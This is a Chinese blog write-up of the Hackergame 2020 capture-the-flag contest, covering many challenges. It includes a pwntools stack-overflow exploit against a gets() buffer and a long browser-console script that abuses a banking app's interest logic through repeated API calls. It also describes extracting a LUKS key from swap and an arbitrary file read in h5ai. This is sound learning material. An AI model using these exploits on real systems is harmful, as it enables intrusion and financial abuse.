hackergame2020-write up

本wp持续更新中+优化中

比赛平台:https://hack.lug.ustc.edu.cn/

签到

打开题目后,看到一个滑杆,拖到最右边,提交,返回:

我可以给你 1 个 flag、2 个 flag、3 个 flag…… 但我没法给你 0.16326 个 flag。

打开F12,把滑杆的数值设为1,提交,拿到flag

2048

两种方法,一种直接玩(反正我是不可能),另一种F12找读取flag的api

打开F12,发现代码中有一段提示

<pre class="wp-block-preformatted"><!-- changelog: - 2020/10/31 getflxg @ static/js/html_actuator.js -->

打开这个js,发现得到flag的相关代码

var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

  let request = new XMLHttpRequest();
  request.open('GET', url);

打开控制台,输入

/getflxg?my_favorite_fruit= + ('b'+'a'+ +'a'+'a').toLowerCase();

得到/getflxg?my_favorite_fruit=banana
访问url获得flag

一闪而过的flag

使用命令行打开即可

从零开始的记账工具人

打开全是大写汉字
编写python脚本自动转换,如下

import re

def convert_cndigit(xxx):
    CN_NUM = {
        '〇' : 0, '一' : 1, '二' : 2, '三' : 3, '四' : 4, '五' : 5, '六' : 6, '七' : 7, '八' : 8, '九' : 9, '零' : 0,
        '壹' : 1, '贰' : 2, '叁' : 3, '肆' : 4, '伍' : 5, '陆' : 6, '柒' : 7, '捌' : 8, '玖' : 9, '貮' : 2, '两' : 2,
    }

    CN_UNIT = {
        '十' : 10,
        '拾' : 10,
        '百' : 100,
        '佰' : 100,
        '千' : 1000,
        '仟' : 1000,
        '万' : 10000,
        '萬' : 10000,
        '亿' : 100000000,
        '億' : 100000000,
        '兆' : 1000000000000,
    }

    regex = re.compile(r'[〇一二三四五六七八九零壹贰叁肆伍陆柒捌玖貮两十拾百佰千仟万萬亿億兆元角分]+')
    xxx = regex.search(xxx)
    if xxx:
        xxx = xxx.group()
    else:
        return None
    result = 0
    result_list = []
    unit = 0
    control = 0
    for i, d in enumerate(xxx):
        if d in '零百佰千仟万萬亿億兆〇' and i == 0:
            return '大写数字格式有误'
            break
        if d == '元':
            continue
        if d == '角':
            result -= CN_NUM[xxx[i - 1]]
            result += CN_NUM[xxx[i - 1]] * 0.1
            continue
        if d == '分':
            result -= CN_NUM[xxx[i - 1]]
            result += CN_NUM[xxx[i - 1]] * 0.01
            continue
        if d in CN_NUM:
            result += CN_NUM[d]
# 如果为单个数字直接赋值            
        elif d in CN_UNIT:
            if unit == 0:
                unit_1 = CN_UNIT[d]
# 这里的处理主要是考虑到类似于二十三亿五千万这种数
                if result == 0:
                    result = CN_UNIT[d]
                else:
                    result *= CN_UNIT[d]
                unit = CN_UNIT[d]
                result_1 = result
            elif unit > CN_UNIT[d]:
                result -= CN_NUM[xxx[i - 1]]
                result += CN_NUM[xxx[i - 1]] * CN_UNIT[d]
                unit = CN_UNIT[d]
            elif unit <= CN_UNIT[d]:
                if (CN_UNIT[d] < unit_1) and (len(result_list) == control):
                    result_list.append(result_1)
                    result = (result - result_1) * CN_UNIT[d]
                    control += 1
                else:
                    result *= CN_UNIT[d]
                unit = CN_UNIT[d]
                if len(result_list) == control:
                    unit_1 = unit
                    result_1 = result
# 处理二十三亿五千万和壹兆零六百二十三亿五千五百万五百这种数,及时截断
        else:
            return '出现了不能匹配的中文数字,请查验'
            break
#         print('第{}步结果为{}单位为{}'.format(i + 1, result, unit))
#     print(result_list)
#     print(result)
#     print(unit_1)
    return sum(result_list) + result

import sys
from xlrd import open_workbook # xlrd用于读取xld
import xlwt

workbook2 = xlwt.Workbook()
worksheet2 = workbook2.add_sheet('test')

workbook = open_workbook(r'bills.xlsx')
sheet= workbook.sheet_by_name('Sheet1')  # 根据sheet名称读取sheet中的所有内容
print(sheet.name, sheet.nrows, sheet.ncols)  # sheet的名称、行数、列数
price_list = sheet.col_values(0)
num_list = sheet.col_values(1)

if __name__ == "__main__":
    for _index,_data in enumerate(price_list):
        _price = convert_cndigit(_data)
        print(_index,_price,_data,num_list[_index])
        worksheet2.write(_index,0,_price)
        worksheet2.write(_index,1,num_list[_index])
    workbook2.save('heihei.xls')

233同学的字符串工具

第一问

直接输入flag不行
百度一下unicode字符
发现fl (0xFB02) 这个字符看似两个字母实际只占一个格
输入flag得到flag

第二问

使用UTF-7 编码解码工具(点此下载
得到flag的utf7编码,+AGY-lag
输入得到flag

233同学的Docker

把docker镜像拉下来
run!,emm,发现无法运行
进入docker镜像文件目录
运行find指令,找到flag的路径
再cat一下就出来了

从零开始的HTTP链接

使用py socket链接指定地址,读出数据
返回了一个html,大致意思是要求用ws连接shell
安装websocat(点此下载
然后执行websocat ws://x.x.x.x:0/shell
输入token,得到flag

来自一教的图片

普通的傅里叶转换而已,随便找个程序转回去就行了

超简陋的OpenGL小程序

打开.vs文件(顶点着色器)
修改下x轴和z轴就差不多能猜出flag了

生活在博弈树上 第一问

阅读源代码,发现gets()函数没有限制输入长度
通过栈溢出,可以把 success 变量给覆盖掉
编写python代码,如下

from pwn import *
io = remote("202.38.93.111",10141)

io.sendline('token')
payload = "1"*0x8f
payload += p64(0x1)
io.recvuntil('')
io.sendline(payload)
io.interactive()

得到flag

来自未来的信笺

打开一堆二维码,用python代码扫描完后发现一个github仓库,但由于代码的截断问题扫描的数据不完整
想到github的 GitHub Code Vault
重新编写+扫描,将扫描出的数据拼一起,得到一个tar压缩包,解压得到repo.tar.xz,里面就有flag

狗狗银行

一道普通的理财题目
编写控制台js脚本(办一张信用卡,N张银行卡,每张卡分167狗币,即可实现利率翻倍)
脚本如下,F12运行,等输出undefined,刷新网页即可:

let tmpcard = 1, Bearer = "Bearer 你的比赛token"

let cards = 2;
async function getM () {
  return (await (await fetch("http://202.38.93.111:10100/api/user", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6",
      "authorization": "" + Bearer + ""
    },
    "referrer": "http://202.38.93.111:10100/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "cors",
    "credentials": "include"
  })).json()).accounts
}

async function zz (a, b, c) {
  fetch("http://202.38.93.111:10100/api/transfer", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6",
      "authorization": "" + Bearer + "",
      "content-type": "application/json;charset=UTF-8"
    },
    "referrer": "http://202.38.93.111:10100/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": "{\"src\":" + a + ",\"dst\":" + b + ",\"amount\":" + c + "}",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
  });
}

async function ph () {
  (await getM()).forEach((a, i) => {
    if (a.type == "debit" && a.balance > 174) zz(i + 1, tmpcard, a.balance - 167)
  })
}

async function sz () {
  let s = 0;
  (await getM()).forEach((a, i) => {
    if (a.type == "debit") s += a.balance
    else s -= a.balance
  })
  return s
}

async function hq () {
  let s = 0;
  (await getM()).forEach((a, i) => {
    if (a.type != "debit" && a.balance > 2100) zz(tmpcard, i + 1, a.balance - 2100)
  })
  return s
}

async function createCard (type) {
  await fetch("http://202.38.93.111:10100/api/create", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6",
      "authorization": "" + Bearer + "",
      "content-type": "application/json;charset=UTF-8"
    },
    "referrer": "http://202.38.93.111:10100/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": "{\"type\":\"" + (type == 0 ? "debit" : "credit") + "\"}",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
  });
  return cards++
}

async function cl () {
  await ph();
  await hq();

  fetch("http://202.38.93.111:10100/api/eat", {
    "headers": {
      "accept": "application/json, text/plain, */*",
      "accept-language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6",
      "authorization": "" + Bearer + "",
      "content-type": "application/json;charset=UTF-8"
    },
    "referrer": "http://202.38.93.111:10100/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": "{\"account\":" + tmpcard + "}",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
  });
  return (await sz())
}

async function createAndFP (number) {
  async function createAndFP (number = 1) {
    let cards = [];
    for (let i = 0; i < number; i++) {
      for (let j = 0; j < 12; j++)cards.push(await createCard(0));
      let dc = await createCard(1);
      for (let i of cards) await zz(dc, i, 167)
    }
  }
  for (let i = 0; i < number; i++)await createAndFP();
}

await createAndFP(30);
while ((await cl()) < 2000) { console.log(await sz()) }

室友的加密硬盘

下载硬盘后,直接怼服务器里
解压后执行fdisk
发下1个boot分区、一个swap分区、一个LUKS加密的分区和一个只有一点的根分区
挂载boot分区,发现keyfile
cat一下,返回
I'm not that stupid to put plaintext key in /boot!
额emm,查看swap分区,发现有SWSUSP1存在,表明系统处于休眠状态
用aeskeyfind查找swap的key
发现一堆,一个一个试找到正确的,将分区解密,得到flag

超简易的网盘服务器

上gayhub找相同版本h5ai的源码
发现index.php存在文件任意读取漏洞
阅读代码后,使用postman构造参数,读出flag

超安全的代理服务器 第一问

使用chrome打开chrome://net-export/
开始记录网络日之后打开代理首页
结束记录,打开文件
搜索关键词path,正常就几个
找到类似/xxxxx-xxxxx-xxxx-xxxx的链接
浏览器打开即可发下flag1

不经意传输 第一问

阅读源代码,即可得知
v=x0
m1=_m1
m2随便写
即可得出flag

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注